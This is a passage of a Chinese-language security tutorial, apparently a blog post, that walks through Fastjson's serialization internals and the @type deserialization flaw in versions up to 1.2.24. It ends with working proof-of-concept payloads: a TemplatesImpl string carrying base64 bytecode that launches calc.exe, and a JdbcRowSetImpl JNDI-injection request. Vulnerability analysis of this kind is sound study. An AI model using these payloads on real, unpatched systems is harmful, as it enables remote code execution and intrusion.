Fastjson是一个Java库,可以将Java对象转换为JSON格式,也可以将JSON字符串转换为Java对象。Fastjson可以操作任何Java对象,即使是一些预先存在的没有源码的对象。
任意抓包,改为POST请求,格式改为application/json
,请求体为{
不闭合,返回包会出现fastjson字样。当然也可能是无回显
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
public class test {
public int age;
public String name;
public test(int age, String name) {
this.age = age;
this.name = name;
}
public int getAge() {
return age;
}
public String getName() {
return name;
}
}
将类转换为JSON
fastjson提供了JSONObject(fastJson提供的json对象)和JSONArray(fastJson提供的json数组对象)对象,JSON对象提供了toJSONString静态方法将对象转化为JSON字符串
test test = new test(18, "B1uel0n3");
String json= JSON.toJSONString(test);
System.out.println(json);
//{"age":18,"name":"B1uel0n3"}
json中主要包含对象的属性和值
将json转化为类
JSON对象提供parse、parseObject、parseArray方法供用户进行反序列化转化成对象
区别:
方法 | 返回值类型 | 适用场景 |
---|---|---|
parse | 动态类型(对象/数组/基本类型) | 通用解析,不确定JSON结构时 |
parseObject | 特定对象类型 | 需要强类型验证和对象映射时 |
parseArray | 对象列表/数组 | 处理JSON数组到对象集合时 |
test newtest= JSON.parseObject(json, test.class); System.out.println(newtest.getAge());
//18
注意,待转换JSON对应的类需要有无参构造函数,不然转换时会报错:
public test(){}
同时需要注意:在调用转换后的对象的getter方法,如果类没有定义setter方法,那就会返回默认值
猜测转换的大致流程就是:通过Class对象进行实例化,调用无参构造函数,通过setter方法设置值,这样转换后的对象就能封装有原本对象属性和对应值了
可以利用该注解自定义输出,包括控制字段排序、序列化标记等:
@JSONField(name="AGE", serialize=true,ordinal=2)
private int age;
生成结果:
format参数用于格式化 date属性。
默认情况下, FastJson 库可以序列化 Java bean 实体, 但我们可以使用 serialize指定字段不序列化。
使用 ordinal参数指定字段的顺序
作用对象:
Field
Setter 和 Getter 方法
注意:FastJson在进行操作时,是跟进getter和setter方法进行的,并不是根据Field进行。若属性是私有的,必须有set方法,否则无法反序列化。
我这里用的是fastjson1.2.24的源码
在JSON.toJSONString下断点:
调用了它的一个重载方法,跟进:
实例化了一个JSONSerializer对象,随后调用了它的write方法
方法中,先获取对象的Class,调用getObjectWriter方法,获取对应的序列化器,跟进:
方法下又会调用到SerializeConfig#getObjectWriter方法
先尝试获取writer,是一个ObjectSerializer对象。
然后对获取到要转换对象的Class进行一系列判断,大致就是先找序列化器,然后再按对象类型匹配处理
最后判断create是否为true,我们传入的时候默认为true,所以会进入if语句,跟进createJavaBeanSerializer方法:
先就是获取BeanInfo,其中会获取到类中定义的字段、方法、注解等元数据
调用另一个重载方法,方法下返回JavaBeanSerializer对象
回到JSONSerializer#write,获取了对应序列化器后调用write方法开始进行序列化并转化为JSON:
具体的流程就在ASMSerializer_1_test#write方法中,这里跟不了就不跟了
主要逻辑就是跟进getter方法获取变量的值然后按照一定规则进行字符串拼接字符串,但这个输出对象并不是String,所以toJSONString方法最后调用其toString方法返回
也就是说如果没有实现getter方法,是没有办法成功将该属性的信息也写进json中
以parseObject其中一个重载方法为例:
JSON.parseObject(JSON.toJSONString(test), test.class);
继续跟进重载方法:
先实例化DefaultJSONParser用于解析JSON字符串,随后调用parseObject方法
跟进parseObject方法注意到下面这段代码:
config.getDeserializer方法用于获取反序列化器,这里获取到的是JavaBeanDeserializer对象,
deserialze方法实现将JSON转化成Java对象
跟进deserialze发现最后会调用FastjsonASMDeserializer_1_test#deserialze方法
其逻辑就是先解析JSON,处理{
开始的对象,最后根据字段调用setter方法为实例化的对象添加属性值
JSON字符串
→ 词法分析(lexer.nextToken)
→ 识别对象开始({)
→ 循环解析字段名和值
→ 根据字段名调用对应setter方法
→ 返回完整对象实例
反序列化后接着回到JSON#parseObject方法,最后还调用parser.handleResovleTask(value);
:
而在这个方法中,同样调用了对象的setter方法来设置字段值
那这不就奇怪了吗,明明在进行反序列化时才调用了对象的setter为实例对象添加属性值,这里又来
其实这是因为他们分工明确,比如一个循环引用的JSON:
// 例如这样的JSON结构
{
"name": "parent",
"child": {
"name": "child",
"parent": {"$ref": "$"} // 引用根对象
}
}
FastjsonASMDeserializer_1_test#deserialze反序列化创建对象时遇到引用而引用的目标对象可能还未创建,所以只能处理JSON中常规字段和值,而parser.handleResovleTask(value);
就负责引用的解析,处理引用字段
也就是说在调用JSON.parseObject(JSON.toJSONString(test), test.class);
转化过程中会调用setter方法
这里分析几个重要的反序列化为Java对象的重载方法,也是解释fastjson漏洞的关键,即为什么设置@type字段值能造成远程代码执行漏洞
JSON解析入口:
但该方法仅接受一个参数就是传入的JSON字符串。在前面我们分析JSON转化为Java对象中,在反序列化时,需要将json与相应的对象的Class进行绑定,以告诉fastjson要还原成哪个对象。
而该方法并没有进行绑定,那么这个方法是如何识别要还原成什么对象呢?
String jsonString = JSON.toJSONString(test);
Object newtest = JSON.parse(jsonString);
跟进下代码:
一样先实例化DefaultJSONParser用于解析JSON字符串
随后调用DefaultJSONParser#parse方法将JSON字符串解析成Java对象,跟进一下:
这里解析我们传入的JSON,当匹配到左花括号时创建JSONObject实例并调用parseObject方法
跟进DefaultJSONParser#parseObject方法:
该方法主要用于解析JSON对象,其中包括处理不同类型的键,主要关注下面代码:
这个key即我们对象属性的键名,即当变量的键值对中,如果键为@type,那么就会通过TypeUtils.loadClass方法获取对应值的Class对象,实际还是利用Class.forName方法,fastjson就是通过这种方法确定对象类型的
随后在确定了对象类型后就会获取反序列化器再进行反序列化,后面的过程就一样的了
所以说如果我们传入JSON中含有@type,那么fastjson就会去加载这个类,随后在反序列化时会先创建实例,随后利用setter方法设置字段的值
注意如果没有@type则不会反序列化
如果你想序列化的json带有@type,可以添加指定Feature
String jsonString = JSON.toJSONString(test, SerializerFeature.WriteClassName);
//{"@type":"org.example.fastjson.Person","age":19,"name":"B1uel0n3"}
所以说如果想要实现触发恶意类造成代码执行,可以从两个方面入手,第一个方面就是恶意类在实例化时就能触发链子,第二方面就是在调用getter方法触发
类似的还有一个JSON.parseObject(String text)方法,被称为基础解析入口,是parseObject的一个重载方法
调用parse方法,跟前面一样这里就是漏洞触发的原因
往下看:
因为没有绑定java对象,会通过@type来加载对象,如果没有设置@type那返回的就是JSONObject对象,如果设置了,就会往下调用JSON.toJSON方法
这里我们默认设置了**@type值**,注意此时的obj是一个java对象,跟进JSON.toJSON方法:
他会先判断对象的类型,然后获取序列化器,随后通过对象的getter方法获取值并转换为JSON格式存入JSONObject对象中,然后将JSONObject对象转化为JSON再调用parse方法
整体的逻辑就是在JSON.parse(String text)
的基础上统一了输出java对象的格式为JSONObject格式
总的来说调用JSON.parseObject(String text)方法会导致@type所指定的对象的getter和setter方法都会被调用,且是先调用setter再调用getter
如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
test newtest = JSON.parseObject(json, test.class, Feature.SupportNonPublicField);
序列化时指定Feature为SerializerFeature.WriteClassName,可输出@type
String jsonString = JSON.toJSONString(test, SerializerFeature.WriteClassName);
//{"@type":"org.example.fastjson.Person","age":19,"name":"B1uel0n3"}
fastjson默认使用@type指定反序列化任意类,攻击者可通过Java环境寻找构造恶意类,再通过反序列化过程中去调用其中的getter/setter
方法,形成恶意调用链。
影响版本:fastjson<=1.2.24
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
前面分析转换过程时我们知道可以从两方面进行切入,一方面是在实例化时触发我们的恶意链子,另一方面是通过getter/setter方法触发
这里很容易想到TemplatesImpl#getOutputProperties方法,我们可通过TemplatesImpl的这个getter方法来加载字节码
而要调用getter方法只能用我们的JSON.parseObject(String text)
触发,因为JSON.parse(String tesxt)
过程中只用了setter方,同时JSON.parseObject(String text)
需要该对象有setter和getter方法,而TemplatesImpl并没有setter方法
这里我们可以想到Feature.SupportNonPublicField
:
JSON.parseObject(text,Feature.SupportNonPublicField);
回顾TemplatesImpl加载恶意字节码的条件:
_name不能为空
_tfactory默认为null,需要为一个TransformerFactoryImpl对象
_class为null
_bytecodes为我们的恶意字节码
payload:
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=\"]," +
"'_name':'b1uel0n3'," +
"'_tfactory':{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\"}," +
"\"_outputProperties\":{ }}";
这有个疑问,为什么我们传入字节码为base64编码后的代码依然能够谈计算机呢?
这是因为解析JSON时遇到字节数组时调用了com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,调用栈:
同样序列化时也会进行base64编码
而网上的payload并没有对_tfactory变量进行设置:
'_tfactory':{ }
这是因为如果json字符串没有对变量进行赋值,fastjson会通过变量类型,通过获取类型对象的无参构造方法进行实例化,作为默认值。
所以payload也可以是:
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=\"]," +
"'_name':'b1uel0n3'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}";
弊端:需要设置Feature.SupportNonPublicField
定位到com.sun.rowset.JdbcRowSetImpl#setAutoCommit方法:
con默认为null调用connect方法:
这里不就发现了熟悉的面孔嘛
当this.getDataSourceName()
不为null时会调用一次JNDI请求,且请求的地址就是this.getDataSourceName()
所有我们只用控制this.getDataSourceName()
的值那么在调用setter方法时就能触发JNDI注入
观察它的setter方法:
会调用父类的setter方法:
父类的setDataSourceName方法就是对DataSource进行赋值
所以this.getDataSourceName()
的值是可控的,当我们传入DataSourceName值时会先调用getter方法获取恶意地址,然后调用setAutoCommit方法触发JNDI注入,POC:
String text = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", " +
"\"dataSourceName\":\"rmi://127.0.0.1:5432/b1uel0n3\", " +
"\"autoCommit\":true}";
注意由于parseObject会调用所有的setter和getter方法,而setAutoCommit方法中需要给AutoCommit一个布尔值,同时注意pay